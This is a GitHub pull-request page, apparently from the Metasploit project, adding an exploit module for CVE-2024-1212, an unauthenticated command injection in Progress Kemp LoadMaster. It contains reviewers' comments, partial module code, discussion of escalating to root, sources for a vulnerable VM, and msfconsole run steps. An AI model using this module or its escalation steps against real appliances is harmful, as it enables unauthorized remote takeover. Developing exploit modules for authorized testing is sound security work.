-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972
Progress LoadMaster unauthenticated command injection module CVE-2024-1212 #18972
Conversation
OK, so CVE-2024-1212 is a command injection vulnerability, but what about the priv esc? Your blog says |
Yeah this is just one method. The bal user is considered an admin user and can run several commands with |
When I go to the loadmaster website, the only download is 7.2.59.2, which after install is 7.2.59.2.22338, and is patched against this vuln. I'm happy to create a trail account to get a license, but is there anywhere I can download the vulnerable VM? |
Currently the only way I know to get the vulnerable version is via the AWS marketplace: The AWS marketplace (https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw) has free trials which can be used by deploying a version before 7.2.59.2 (7.2.59.0). To enable sessions management:
|
I'm happy to send the VM. |
@wvu You rock; let me know how. |
'Reliability' => [ REPEATABLE_SESSION ] | ||
}, | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_X86, ARCH_X64], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'Arch' => [ARCH_X86, ARCH_X64], | |
'Arch' => [ARCH_CMD], |
end | ||
end | ||
|
||
def execute_privesc_command(session) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is likely not going to work with a Meterpreter session, so let me get a target up and see if I can give you a more specific way it make it work on all payloads.
OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) | ||
]) | ||
|
||
@first_session_timestamp = nil |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will be nil
in Ruby already, even if not already set.
@first_session_timestamp = nil |
def on_new_session(session) | ||
# Kill the session if it was initiated too close to the first session | ||
# This command injection tends to execute twice, so we want to kill | ||
# the second session. Probably a better way to do this but I don't know it. | ||
super | ||
current_time = Time.now.to_i | ||
if @first_session_timestamp.nil? | ||
@first_session_timestamp = current_time | ||
elsif current_time - @first_session_timestamp < 5 | ||
print_error('Detected a session initiated too close to the first session. Terminating it.') | ||
session.kill | ||
end | ||
|
||
# Run privesc commands if PRIVESC is set to true | ||
if datastore['PRIVESC'] | ||
execute_privesc_command(session) | ||
else | ||
print_status('Privilege escalation skipped.') | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We should potentially look at doing this with a flag on the target. @bwatters-r7 may be able to provide more context here.
@bwatters-r7 I pinged you on the hellsite! |
OK; I got the software; thanks @wvu ! |
Out of curiosity, do we know if that priv esc works on the latest release? I'm happy to test on my own, but the diagnostic shell does not have |
@wvu found a much cleaner way to get a root shell: https://x.com/wvuuuuuuuuuuuuu/status/1770728321166278885?s=20
|
|
This will get a root shell via CVE-2024-1212 on v7.2.59.0.22007; I'm asking/trying to figure out if the separate priv esc technique of copying |
I was able to check root privescs on 7.2.59.2.22338, which is not vulnerable to CVE-2024-1212. The sudo entries and other privescs still exist. |
Thank you! |
No problem having you take that if you already have a plan to split them. |
I don't want anyone to think I've forgotten about this. I've got the exploit working great with prepend to enforce the "run once" flag, and I'm nearly there on the separate priv esc module. I'll PR to this branch for the exploit, and open a new PR for the priv esc. |
Wow; sorry this took so long! |
Awesome looks good! Is there anything else needed from me here? |
Yes; if the changes are good with you, please merge them into your branch. After that, I'll get another contributor to approve them, and I can land this branch to the main branch. |
…uth_cmd_injection
Remove Priv Esc to add it to another module and update it to only run…
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Everything looks great, two minor comments
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated command injection vulnerability in | ||
Progress Kemp LoadMaster in the authorization header. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just adding affected / patched version info to the Description.
Progress Kemp LoadMaster in the authorization header. | |
Progress Kemp LoadMaster in the authorization header. Versions after 7.2.48.1 are affected. The vulenrability | |
was patched in the following versions: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS) |
{ | ||
'param' => 'enableapi', | ||
'value' => '1' | ||
}, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This indentation seems like something rubocop should have complained about
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
364d491
Release NotesThis adds a module targeting CVE-2024-1212, an unauthenticated command injection vulnerability in Kemp Progress Loadmaster versions after 7.2.48.1, but patched in 7.2.59.2 (GA), 7.2.54.8 (LTSF) and 7.2.48.10 (LTS). |
Verification
For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
The AWS marketplace (https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw) has free trials which can be used by deploying a version before 7.2.59.2 (7.2.59.0).
These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
To enable sessions management:
https://LM-IP:8443/
Certificates & Security > Admin WUI Access > "Enable Session Management"
With privesc:
use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
set RHOSTS <target loadmaster>
set RPORT <port loadmaster is running on>
set LHOST <your host IP>
run
Without privesc:
use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection
set PRIVESC false
set RHOSTS <target loadmaster>
set RPORT <port loadmaster is running on>
set LHOST <your host IP>
run
Example demonstration: